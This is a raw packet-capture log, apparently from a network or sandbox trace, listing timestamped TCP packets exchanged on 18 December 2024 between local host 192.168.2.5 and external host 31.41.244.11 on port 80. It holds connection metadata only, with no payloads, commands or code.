Dec 18, 2024 21:30:18.370156050 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.370173931 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.370281935 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.371104002 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.371120930 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.371182919 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.371182919 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.371912003 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.371928930 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.371943951 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.371968985 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.372051954 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.372761965 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.372777939 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.372855902 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.372855902 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.373640060 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.373712063 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.374103069 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.374119997 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.374151945 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.374183893 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.374979019 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.374994993 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.375010967 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.375070095 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.375070095 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.375885010 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.375901937 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.376027107 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.376705885 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.376733065 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.376775980 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.376775980 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.377590895 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.377618074 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.377690077 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.377690077 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.378484011 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.378546000 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.378618956 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.379409075 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.379426003 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.379508972 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.379508972 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.380239964 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.380265951 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.380306959 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.380306959 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.381151915 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.381167889 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.381246090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.381246090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.393755913 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.393857002 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.393927097 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.394093990 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.394236088 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.394299030 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.394623041 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.394692898 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.395250082 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.395332098 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.395478964 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.395623922 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.396246910 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.396358967 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.396383047 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.396506071 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.418785095 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.419012070 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.419044018 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.419080019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.419300079 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.419492960 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.419955015 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.420047045 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.420178890 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.420236111 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.421053886 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.421139002 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.421303988 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.421400070 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.422118902 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.422187090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.422327042 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.422369003 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.423206091 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.423265934 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.423393965 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.423466921 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.424268961 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.424329042 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.424448013 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.424503088 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.425422907 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.425496101 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.425594091 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.425671101 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.426434994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.426542997 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.426676035 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.426749945 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.427526951 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.427572012 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.427747965 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.427833080 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.428605080 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.428692102 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.428869009 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.428961039 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.429640055 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.429708004 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.429886103 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.429961920 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.430726051 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.430933952 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.430999041 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.431051970 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.431809902 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.431941986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.432035923 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.432262897 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.433012962 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.433120966 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.433235884 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.433276892 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.433998108 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.434123039 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.434233904 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.434304953 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.435106993 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.435206890 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.435388088 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.435477018 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.436175108 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.436347961 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.436419010 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.436474085 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.437293053 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.437418938 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.437515020 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.437613964 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.438350916 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.438430071 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.438483000 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.438555956 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.439490080 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.439553976 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.439662933 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.439730883 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.440463066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.440560102 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.440824986 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.441073895 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.441504002 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.441618919 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.441687107 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.441787004 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.442547083 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.442617893 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.442751884 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.442878008 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.443675995 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.443881989 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.443967104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.444025993 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.444705963 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.444796085 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.444930077 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.445004940 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.445785046 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.445863962 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.446346998 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.446424007 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.446563005 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.446656942 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.447591066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.447705984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.447788954 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.447860956 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.448635101 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.448713064 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.448837042 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.448940039 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.449562073 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.449665070 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.449754000 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.449835062 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.450696945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.450777054 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.450853109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.450958967 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.451886892 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.451965094 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.452099085 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.452200890 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.452891111 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.453073978 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.453113079 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.453238010 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.453869104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.453950882 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.454097986 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.454169989 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.454916954 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.455144882 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.455349922 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.455405951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.456015110 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.456116915 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.456187963 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.456381083 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.457068920 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.457140923 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.457300901 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.457344055 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.458225965 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.458400011 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.458482981 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.458611012 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.459275007 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.459357023 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.459446907 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.459520102 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.460376978 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.460468054 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.460624933 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.460700035 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.461453915 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.461550951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.461595058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.461795092 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.462539911 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.462713003 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.462732077 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.463166952 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.463567019 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.463669062 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.463754892 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.463804960 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.464637041 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.464688063 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.464859009 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.465173960 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.465744972 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.465866089 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.465965986 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.466172934 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.466849089 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.466973066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.467015982 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.467133045 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.467895985 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.467993021 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.468113899 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.468214989 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.468939066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.469016075 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.469240904 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.469288111 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.470050097 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.470123053 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.470279932 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.470406055 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.471079111 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.471323967 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.585527897 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.585709095 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.585721970 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.585822105 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.585901022 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.585901976 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.586239100 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.586324930 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.586730003 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.586812019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.587001085 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.587094069 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.587665081 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.587862015 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.587884903 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.587979078 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.588695049 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.588813066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.588846922 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.588895082 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.590018988 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.590121031 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.590557098 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.590686083 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.591042042 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.591120005 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.591183901 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.591346979 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.591670990 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.591758013 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.591778040 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.592109919 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.592391014 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.592432022 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.592592955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.592650890 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.593221903 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.593303919 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.593429089 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.593502045 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.594150066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.594221115 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.594374895 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.594475031 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.595078945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.595293999 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.595329046 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.595374107 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.596014023 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.596229076 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.596265078 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.596329927 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.596939087 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.596997023 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.597153902 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.597203970 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.597865105 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.597980022 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.598124027 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.598294973 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.598824024 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.598975897 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.599018097 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.599065065 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.599740028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.599817991 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.599956989 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.600007057 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.600651026 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.600743055 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.600872993 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.600976944 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.601589918 CET	80	49804	31.41.244.11	192.168.2.5
